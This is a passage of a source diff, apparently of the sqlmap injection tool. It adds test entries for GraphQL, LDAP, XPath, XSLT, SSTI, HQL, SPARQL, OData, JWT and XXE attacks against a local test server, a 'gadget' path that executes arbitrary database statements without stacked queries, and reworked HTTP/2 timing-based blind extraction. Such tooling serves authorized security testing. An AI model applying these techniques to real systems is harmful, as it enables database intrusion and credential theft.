("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
("-u \"<base>echo?q=x\" --xslt --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # reflection is not evaluation: a pure echo endpoint must not satisfy any non-SQL engine's oracle
("-u \"<base>echo?q=x\" --xpath --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # same gate for --xpath (it used to confirm XPath injection from reflected text alone)
("-u \"<base>echo?q=x\" --ldap --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to", "~Traceback")), # same gate for --ldap (it used to CRASH here with an unhandled InconclusiveError)
("-u \"<base>echo?q=x\" --nosql --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # same gate for --nosql (it used to report a "Lucene query_string-compatible back-end" from q=*)
("-u \"<base>xslt/element?tpl=x\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "element context", "Engine: libxslt", "Type: XSLT injection", "XSLT scan complete")), # XSLT: the engine names itself through system-property('xsl:vendor') in the element slot - a value the application cannot produce on its own
("-u \"<base>xslt/value?sort=name\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "value context", "XSLT compile-differential", "XSLT scan complete")), # XSLT: the value slot reflects nothing, so detection rests on the compile differential plus positive XPath-syntax evidence
("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
("-u \"<base>hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction ("-u \"<base>hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
("-u \"<base>sparql/search?q=luther\" -p q --sparql --flush-session --disable-hashing", ("is vulnerable to SPARQL injection", "back-end: 'Apache Jena / Fuseki'", "distinct predicate", "S3CR3Tvalue", "SPARQL scan complete")), # SPARQL: Jena error fingerprint + boolean oracle confirmed by an EXISTS/isIRI construct + schema-agnostic blind dump of predicates and triple objects
("-u \"<base>odata/search?name=luther\" -p name --odata --flush-session --disable-hashing", ("is vulnerable to OData injection", "Microsoft OData (WebAPI/.NET)' v4", "key property 'Id'", "S3CR3Tvalue", "OData scan complete")), # OData: Microsoft-OData error fingerprint + version (contains vs substringof) + boolean oracle confirmed by length()/startswith() + blind dump reaching the never-$select-ed 'Secret' property
("-u \"<base>jwt?x=1\" --cookie=\"session=%s\" --jwt --flush-session" % vulnserver.JWT_TOKEN, ("found a JSON Web Token", "HMAC secret recovered ('secret')", "server accepts an unsigned", "vulnerable to error-based SQL injection")), # JWT: offline weak-secret crack + active oracle confirming alg:none acceptance + 'kid' error-based SQL injection ("-u \"<base>jwt?x=1\" --cookie=\"session=%s\" --jwt --flush-session" % vulnserver.JWT_TOKEN, ("found a JSON Web Token", "HMAC secret recovered ('secret')", "server accepts an unsigned", "vulnerable to error-based SQL injection")), # JWT: offline weak-secret crack + active oracle confirming alg:none acceptance + 'kid' error-based SQL injection
("-u <url> --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted) ("-u <url> --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted)
("-u \"<base>xxe\" --data=\"<root><q>x</q></root>\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read ("-u \"<base>xxe\" --data=\"<root><q>x</q></root>\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read
@@ -109,14 +117,14 @@ def vulnTest(tests=None, label="vuln"):
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
) )
# The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where # The vulnserver's XPath, XXE and XSLT endpoints render with lxml and its SSTI endpoint with jinja2; where
# those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip # those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip
# just those entries instead of failing the whole run - the rest of the suite is unaffected. # just those entries instead of failing the whole run - the rest of the suite is unaffected.
try: try:
__import__("lxml") __import__("lxml")
except ImportError: except ImportError:
TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0]) TESTS = tuple(_ for _ in TESTS if not any(_flag in _[0] for _flag in ("--xpath", "--xxe", "--xslt")))
logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)") logger.warning("skipping the XPath, XXE and XSLT vuln-test entries ('lxml' not available)")
try: try:
__import__("jinja2") __import__("jinja2")
except ImportError: except ImportError:
+16 -1
View File
@@ -436,6 +436,9 @@ def cmdLineParser(argv=None):
techniques.add_argument("--timeless", dest="timeless", action="store_true", techniques.add_argument("--timeless", dest="timeless", action="store_true",
help="Use HTTP/2 timeless timing (faster, no delay)") help="Use HTTP/2 timeless timing (faster, no delay)")
techniques.add_argument("--multi-bit", dest="multiBit", action="store_true",
help="Use rendered rows to read several bits per request")
techniques.add_argument("--union-cols", dest="uCols", techniques.add_argument("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection") help="Range of columns to test for UNION query SQL injection")
@@ -802,12 +805,21 @@ def cmdLineParser(argv=None):
nonsql.add_argument("--ssti", dest="ssti", action="store_true", nonsql.add_argument("--ssti", dest="ssti", action="store_true",
help="Test for server-side template injection") help="Test for server-side template injection")
nonsql.add_argument("--xslt", dest="xslt", action="store_true",
help="Test for XSLT injection")
nonsql.add_argument("--xxe", dest="xxe", action="store_true", nonsql.add_argument("--xxe", dest="xxe", action="store_true",
help="Test for XML External Entity (XXE) injection") help="Test for XML External Entity (XXE) injection")
nonsql.add_argument("--hql", dest="hql", action="store_true", nonsql.add_argument("--hql", dest="hql", action="store_true",
help="Test for HQL/JPQL (Hibernate ORM) injection") help="Test for HQL/JPQL (Hibernate ORM) injection")
nonsql.add_argument("--sparql", dest="sparql", action="store_true",
help="Test for SPARQL injection")
nonsql.add_argument("--odata", dest="odata", action="store_true",
help="Test for OData $filter injection")
nonsql.add_argument("--jwt", dest="jwt", action="store_true", nonsql.add_argument("--jwt", dest="jwt", action="store_true",
help="Audit JSON Web Tokens (JWT) for weaknesses") help="Audit JSON Web Tokens (JWT) for weaknesses")
@@ -1203,7 +1215,10 @@ def cmdLineParser(argv=None):
if args.dummy: if args.dummy:
args.url = args.url or DUMMY_URL args.url = args.url or DUMMY_URL
if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ)): # Note: an explicit target source rules out reading targets from the standard input. Without
# this, any non-interactive run (CI, cron, subprocess) would turn '-d/-u/-m/-l/-r/-g' into a
# 'multiple targets' run reading from a pipe, which also resets per-target options in between
if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), args.api, args.ignoreStdin, "GITHUB_ACTIONS" in os.environ, args.direct, args.url, args.logFile, args.bulkFile, args.requestFile, args.googleDork, args.configFile, args.openApiFile)):
args.stdinPipe = iter(sys.stdin.readline, None) args.stdinPipe = iter(sys.stdin.readline, None)
else: else:
args.stdinPipe = None args.stdinPipe = None
+4 -1
View File
@@ -71,7 +71,10 @@ def parseXmlNode(node):
for gchild in progeny: for gchild in progeny:
if gchild.tag in test[child.tag]: if gchild.tag in test[child.tag]:
prevtext = test[child.tag][gchild.tag] prevtext = test[child.tag][gchild.tag]
test[child.tag][gchild.tag] = [prevtext, gchild.text] if isinstance(prevtext, list):
prevtext.append(gchild.text)
else:
test[child.tag][gchild.tag] = [prevtext, gchild.text]
else: else:
test[child.tag][gchild.tag] = gchild.text test[child.tag][gchild.tag] = gchild.text
+47 -22
View File
@@ -722,13 +722,12 @@ class Connect(object):
if conf.http2: if conf.http2:
from lib.request.http2 import open_url as http2OpenUrl from lib.request.http2 import open_url as http2OpenUrl
from lib.request.http2 import proxy_tuple
h2proxy = None try:
if conf.proxy: h2proxy = proxy_tuple(conf.proxy, conf.proxyCred)
_proxyParts = _urllib.parse.urlsplit(conf.proxy if "://" in conf.proxy else "http://%s" % conf.proxy) except ValueError:
if (_proxyParts.scheme or "").lower().startswith("socks"): raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
raise SqlmapMissingDependence("native HTTP/2 client does not support SOCKS proxies (omit '--http2' or use an HTTP proxy)")
h2proxy = (_proxyParts.hostname, _proxyParts.port or 8080, conf.proxyCred or None)
try: try:
conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy) conn = http2OpenUrl(url, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), headers, post, timeout, follow_redirects=kb.choices.redirect != REDIRECTION.NO, proxy=h2proxy)
@@ -1152,6 +1151,15 @@ class Connect(object):
# so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair. # so its sentinel-bracketed comparison can be negated to build the symmetric-oracle pair.
timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None timelessOrigValue = value if (timeBasedCompare and kb.get("timeless") is not None) else None
# Timeless disengaged mid-value: bisection froze its comparison template from the heavy (no-delay)
# vector when this value started, so it keeps forging heavy payloads until it builds the next one -
# and wall-clock comparison reads every one of them as False. Re-forge those stragglers onto the
# restored vector. Only fires while such a payload is actually in flight (it must still carry the
# timeless sentinels), so it is a no-op on any ordinary time-based scan.
if timeBasedCompare and value and kb.get("timelessRestore") and kb.get("timeless") is None:
from lib.request.timeless import restoreClassicValue
value = restoreClassicValue(value, kb.timelessRestore) or value
get = None get = None
post = None post = None
cookie = None cookie = None
@@ -1643,6 +1651,18 @@ class Connect(object):
elif postUrlEncode: elif postUrlEncode:
post = urlencode(post, spaceplus=kb.postSpaceToPlus) post = urlencode(post, spaceplus=kb.postSpaceToPlus)
# The timeless path returns before the ordinary send, so run the '--safe-url'/'--safe-req' keep-alive
# for it too - a long extraction otherwise loses the session it depends on. Not under buildOnly:
# that is the timeless oracle assembling the very requests of this comparison, and counting each of
# them would fire the safe request several times per bit.
if (conf.safeFreq or 0) > 0 and not buildOnly:
kb.queryCounter += 1
if kb.queryCounter % conf.safeFreq == 0:
if conf.safeUrl:
Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
elif kb.safeReq:
Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers)
# When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector # When the timeless oracle is engaged (by action() at the start of extraction, so the heavy vector
# is in place before any payload is built), a boolean comparison is answered by relative HTTP/2 # is in place before any payload is built), a boolean comparison is answered by relative HTTP/2
# response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and # response order instead of wall-clock timing - orders of magnitude faster and jitter-immune, and
@@ -1650,25 +1670,38 @@ class Connect(object):
# as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing. # as it would be sent (buildOnly) and the bit is read from a coalesced pair. Not engaged -> timing.
if timeBasedCompare and kb.get("timeless") is not None: if timeBasedCompare and kb.get("timeless") is not None:
from lib.request.timeless import CONNECTIVITY_ERRORS from lib.request.timeless import CONNECTIVITY_ERRORS
from lib.request.timeless import TimelessUnusable
from lib.request.timeless import disengage
from lib.request.timeless import negatePayload from lib.request.timeless import negatePayload
# Build the condition and negation requests through the SAME path (queryPage buildOnly on the # Build the condition and negation requests through the SAME path (queryPage buildOnly on the
# raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond # raw pre-placement value) so the pair differs ONLY by the negated comparison - building cond
# from the already-placed uri/get/post while neg goes through fresh placement would make them # from the already-placed uri/get/post while neg goes through fresh placement would make them
# non-corresponding and flip the order. # non-corresponding and flip the order.
negValue = negatePayload(timelessOrigValue) negValue = negatePayload(timelessOrigValue)
condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True)
negSpec = Connect.queryPage(negValue, place=place, buildOnly=True) if negValue is not None else None
try: try:
if negValue is None:
# No sentinels (a tamper script mangled them, or a non-timeless vector slipped through):
# the symmetric oracle cannot be built, and there is no calibrated alternative reading.
raise TimelessUnusable("payload carries no negatable comparison")
condSpec = Connect.queryPage(timelessOrigValue, place=place, buildOnly=True)
negSpec = Connect.queryPage(negValue, place=place, buildOnly=True)
return kb.timeless.readBitFromSpecs(condSpec, negSpec) return kb.timeless.readBitFromSpecs(condSpec, negSpec)
except CONNECTIVITY_ERRORS as ex: except CONNECTIVITY_ERRORS as ex:
# The oracle's own per-pair retries (see _pairOrder) are exhausted - the target has stopped # Either the oracle can no longer be trusted (a fresh connection failed calibration, the
# negotiating HTTP/2 altogether (e.g. a load-balanced backend that only some nodes speak it # responses drifted off the calibrated control) or the target stopped negotiating HTTP/2
# on), not just dropped one connection. Disengage (restores the classic time-based vector) # altogether. Disengage - which restores the classic time-based vector - and answer this
# and fall through below to the normal wall-clock comparison instead of crashing the scan. # comparison the wall-clock way instead of crashing the scan. The payload in flight was
from lib.request.timeless import disengage # forged from the heavy (millisecond) vector, so it has to be re-forged onto the restored
warnMsg = "HTTP/2 timeless timing lost connectivity ('%s'). Falling back to classic time-based" % getSafeExString(ex) # one first: re-sending it as-is would read False whatever the truth.
warnMsg = "HTTP/2 timeless timing is no longer reliable ('%s'). Falling back to classic time-based" % getSafeExString(ex)
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
disengage() disengage()
# Re-run this comparison the wall-clock way. The payload in flight was forged from the
# heavy (millisecond) vector, so re-sending it as-is would read False whatever the truth -
# the straggler rewrite at the top of queryPage puts it back on the restored vector, the
# same way it will handle the rest of this value.
if kb.get("timelessRestore"):
return Connect.queryPage(timelessOrigValue, place=place, content=content, getRatioValue=getRatioValue, silent=silent, method=method, timeBasedCompare=timeBasedCompare, noteResponseTime=noteResponseTime, auxHeaders=auxHeaders, response=response, raise404=raise404, removeReflection=removeReflection, disableTampering=disableTampering, ignoreSecondOrder=ignoreSecondOrder)
if timeBasedCompare and not conf.disableStats: if timeBasedCompare and not conf.disableStats:
if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES: if len(kb.responseTimes.get(kb.responseTimeMode, [])) < MIN_TIME_RESPONSES:
@@ -1712,14 +1745,6 @@ class Connect(object):
warnMsg += "10 or more)" warnMsg += "10 or more)"
logger.critical(warnMsg) logger.critical(warnMsg)
if (conf.safeFreq or 0) > 0:
kb.queryCounter += 1
if kb.queryCounter % conf.safeFreq == 0:
if conf.safeUrl:
Connect.getPage(url=conf.safeUrl, post=conf.safePost, cookie=cookie, direct=True, silent=True, ua=ua, referer=referer, host=host)
elif kb.safeReq:
Connect.getPage(url=kb.safeReq.url, post=kb.safeReq.post, method=kb.safeReq.method, auxHeaders=kb.safeReq.headers)
start = time.time() start = time.time()
if kb.nullConnection and not content and not response and not timeBasedCompare: if kb.nullConnection and not content and not response and not timeBasedCompare:
+1234 -394
View File
File diff suppressed because it is too large Load Diff
+45
View File
@@ -48,6 +48,9 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import queries from lib.core.data import queries
from lib.core.convert import encodeHex
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.decorators import lockedmethod from lib.core.decorators import lockedmethod
from lib.core.decorators import stackedmethod from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
@@ -834,6 +837,36 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
return extractExpectedValue(value, expected) return extractExpectedValue(value, expected)
def getGadget():
"""
Returns a 'gadget' (a side-effecting scalar expression usable through a
regular - e.g. boolean/time-based - injection) that can run an arbitrary
statement when stacked queries are not available (e.g. dblink_exec() on
PostgreSQL). Detection is done once and cached inside 'kb.gadget'.
"""
if kb.gadget is None:
kb.gadget = False
dbms = Backend.getIdentifiedDbms()
if dbms is not None and "gadgets" in queries[dbms]:
for name, gadget in queries[dbms].gadgets.__dict__.items():
try:
available = checkBooleanExpression(gadget.check)
except Exception:
available = False
if available:
infoMsg = "using '%s' gadget to run statement(s) as " % name
infoMsg += "stacked queries are not available"
logger.info(infoMsg)
kb.gadget = gadget
break
return kb.gadget or None
def goStacked(expression, silent=False): def goStacked(expression, silent=False):
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
setTechnique(PAYLOAD.TECHNIQUE.STACKED) setTechnique(PAYLOAD.TECHNIQUE.STACKED)
@@ -849,6 +882,18 @@ def goStacked(expression, silent=False):
if conf.direct: if conf.direct:
return direct(expression) return direct(expression)
if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data:
gadget = getGadget()
if gadget:
warnMsg = "statement execution through a gadget is best-effort "
warnMsg += "and its result (if any) can not be retrieved"
singleTimeWarnMessage(warnMsg)
payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False))
checkBooleanExpression("(%s) IS NOT NULL" % payload)
return
query = agent.prefixQuery(";%s" % expression) query = agent.prefixQuery(";%s" % expression)
query = agent.suffixQuery(query) query = agent.suffixQuery(query)
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
+7 -1
View File
@@ -160,7 +160,13 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
# Note: multiple cookies arrive as SEPARATE Set-Cookie headers (RFC-6265 forbids folding # Note: multiple cookies arrive as SEPARATE Set-Cookie headers (RFC-6265 forbids folding
# them into one comma-joined value), and __getitem__ returns only the FIRST - iterate all # them into one comma-joined value), and __getitem__ returns only the FIRST - iterate all
# values so 2nd+ cookies (e.g. a CSRF token) are not silently dropped across the redirect # values so 2nd+ cookies (e.g. a CSRF token) are not silently dropped across the redirect
setCookies = headers.get_all(HTTP_HEADER.SET_COOKIE) if hasattr(headers, "get_all") else [headers[HTTP_HEADER.SET_COOKIE]] # (get_all on py3 email.message.Message, getheaders on py2 mimetools.Message)
if hasattr(headers, "get_all"):
setCookies = headers.get_all(HTTP_HEADER.SET_COOKIE)
elif hasattr(headers, "getheaders"):
setCookies = headers.getheaders(HTTP_HEADER.SET_COOKIE)
else:
setCookies = [headers[HTTP_HEADER.SET_COOKIE]]
for setCookie in setCookies: for setCookie in setCookies:
for match in re.finditer(r"(?:^|,\s*)([^=;,]+)=([^;,]+)", setCookie): for match in re.finditer(r"(?:^|,\s*)([^=;,]+)=([^;,]+)", setCookie):
key = match.group(1).strip() key = match.group(1).strip()
+448 -208
View File
@@ -6,23 +6,38 @@ See the file 'LICENSE' for copying permission
""" """
# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native # HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native
# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single # client's exchange_pair() primitive (lib/request/http2.py). Two requests are multiplexed on one
# TCP write and multiplexed on one connection; because they share the packet and the path, network # connection and handed to the kernel in a single application-level write; because they travel the same
# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects # path at (near) the same instant, network jitter hits both alike and largely cancels, so the RELATIVE
# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be # order in which their responses complete tracks the server-side processing delta far more tightly than
# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the # absolute wall-clock timing can. That lets a millisecond-scale difference in query work be read - and it
# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines. # needs no SLEEP: the NATURAL execution-time gap between a true and a false boolean branch is signal
# enough on most engines. (A single sendall() is not a guarantee of packet-level coalescing, nor of
# concurrent server-side handling - which is exactly why nothing here is applied unmeasured.)
# #
# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing # The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing
# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable # front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable
# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. # delta) so the caller never applies the oracle blind - it falls back to classic time-based instead.
# Calibration is re-run on EVERY connection the oracle opens (a load balancer can hand a later connection
# to a serializing node) and periodically re-checked for drift, and each read validates that both streams
# came back with the response status calibration saw - a WAF block, an expired session or an errored
# primitive can otherwise masquerade as a timing vote.
#
# LIMITS: a pair is exchanged on a dedicated connection, outside the urllib stack, so the response-side
# pipeline (Set-Cookie, redirect policy, retry-on-content, rate-limit backoff, traffic logging) does not run
# for it - only '--safe-url'/'--safe-req', which queryPage() applies to this path too. That is bounded, not
# silent: any of those conditions changes the response status, which the calibrated-status check turns into
# a disengage-and-fall-back rather than a wrong bit.
import math
import socket import socket
import ssl import ssl
import threading import threading
import time
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.request.http2 import _H2Connection from lib.request.http2 import _H2Connection
from lib.request.http2 import _UnprocessedStream
# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage. # Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage.
_engageLock = threading.Lock() _engageLock = threading.Lock()
@@ -30,10 +45,18 @@ _engageLock = threading.Lock()
# Transport-level failures that mean "this connection/attempt is unusable" - covers a mid-exchange drop # Transport-level failures that mean "this connection/attempt is unusable" - covers a mid-exchange drop
# (GOAWAY, reset) as well as a failed (re)connect, including the h2 client's own IOError when the server # (GOAWAY, reset) as well as a failed (re)connect, including the h2 client's own IOError when the server
# does not negotiate ALPN 'h2' on a fresh socket (seen on backends that speak h2 inconsistently, e.g. only # does not negotiate ALPN 'h2' on a fresh socket (seen on backends that speak h2 inconsistently, e.g. only
# some nodes behind a load balancer). Shared by _pairOrder (per-pair retry) and connect.py (the give-up path). # some nodes behind a load balancer). Used by connect.py as the give-up path: anything reaching it means
# the oracle cannot continue, so the scan disengages and resumes on classic time-based.
CONNECTIVITY_ERRORS = (socket.error, ssl.SSLError, IOError) CONNECTIVITY_ERRORS = (socket.error, ssl.SSLError, IOError)
class TimelessUnusable(IOError):
"""The oracle cannot produce a trustworthy bit on this target any more (a fresh connection failed
calibration, the responses stopped matching the calibrated control, ...). Derives from IOError so
connect.py's CONNECTIVITY_ERRORS handler disengages and falls back to classic time-based rather
than the scan continuing on a channel that is no longer known-good."""
def buildConditionPair(condition, heavy, cheap="0"): def buildConditionPair(condition, heavy, cheap="0"):
"""Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g. """Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g.
'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB 'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB
@@ -57,98 +80,165 @@ def buildConditionPair(condition, heavy, cheap="0"):
return condExpr, negExpr return condExpr, negExpr
def _pairOrder(connSource, reqA, reqB, timeout, retries=2): def _pairOrder(connSource, reqA, reqB, timeout, retries=2, expectStatus=None):
"""Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two """Send reqA and reqB as one coalesced pair; return (first, loSid, hiSid, status) - the stream id that
stream ids in send order (reqA got the lower id). finished FIRST, the two stream ids in send order (reqA got the lower id) and the shared HTTP status.
`connSource` is either a live _H2Connection or a zero-arg callable returning one. The callable form `connSource` is either a live _H2Connection or a zero-arg callable returning one. The callable form
lets a dropped connection be replaced transparently and the pair re-sent: a long extraction routinely lets a connection that the server retired be replaced transparently and the pair re-sent - a long
outlives a single HTTP/2 connection (the server retires it with GOAWAY after its per-connection request extraction routinely outlives one HTTP/2 connection (GOAWAY past the per-connection request cap).
cap), and a coalesced boolean-read pair is idempotent, so re-sending it on a fresh connection is safe.
Opening that fresh connection is retried the same way - it can fail just like an in-progress exchange REPLAY SAFETY: a coalesced pair is NOT blindly idempotent (the injection point can sit in a POST, and
(including ALPN renegotiation failing on the new socket). A raw connection (used by calibration and the an application may count/mutate on every hit), so only failures the peer PROVED left the streams
self-test) is not retried - it simply raises.""" unprocessed are re-sent - that is exactly the h2 client's _UnprocessedStream (GOAWAY above
Last-Stream-ID / REFUSED_STREAM, see RFC 9113 6.8). A failure while OPENING the replacement connection
is retried too (nothing was sent yet). Everything else - protocol/compression errors, an ambiguous
mid-exchange drop, a deterministic header error - raises immediately: guessing wrong there either
re-runs a state-changing request or loops on an unfixable condition.
RESPONSE VALIDATION: the two responses are not thrown away. Both streams must carry the SAME status,
and (when `expectStatus` is given - the status calibration measured) that status. Otherwise a WAF 403,
an expired-session 401/302, a rate-limit 429 or a 500 from a primitive the server version rejects would
be read as a perfectly good timing vote. A mismatch is re-sent a couple of times (transient blip) and
then raises TimelessUnusable so the scan falls back instead of extracting from noise."""
attempt = 0 attempt = 0
while True: while True:
conn = None conn = None
try: try:
conn = connSource() if callable(connSource) else connSource conn = connSource() if callable(connSource) else connSource
order, _results = conn.exchange_pair([reqA, reqB], timeout) except TimelessUnusable: # a definitive verdict (failed calibration), not a blip
return order[0], conn.next_sid - 4, conn.next_sid - 2 raise
except CONNECTIVITY_ERRORS: except CONNECTIVITY_ERRORS:
if conn is not None:
conn.close() # retire; a callable source reopens on the next pass
attempt += 1 attempt += 1
if not callable(connSource) or attempt > retries: if not callable(connSource) or attempt > retries:
raise raise
continue
try:
order, results = conn.exchange_pair([reqA, reqB], timeout)
except _UnprocessedStream:
conn.close() # retire; a callable source reopens on the next pass
attempt += 1
if not callable(connSource) or attempt > retries:
raise
continue
except CONNECTIVITY_ERRORS:
conn.close()
raise
loSid, hiSid = conn.next_sid - 4, conn.next_sid - 2
status = results[loSid][0]
if status == results[hiSid][0] and expectStatus in (None, status):
return order[0], loSid, hiSid, status
attempt += 1
if attempt > retries:
raise TimelessUnusable("response status drifted from the calibrated control (%s/%s, expected %s)"
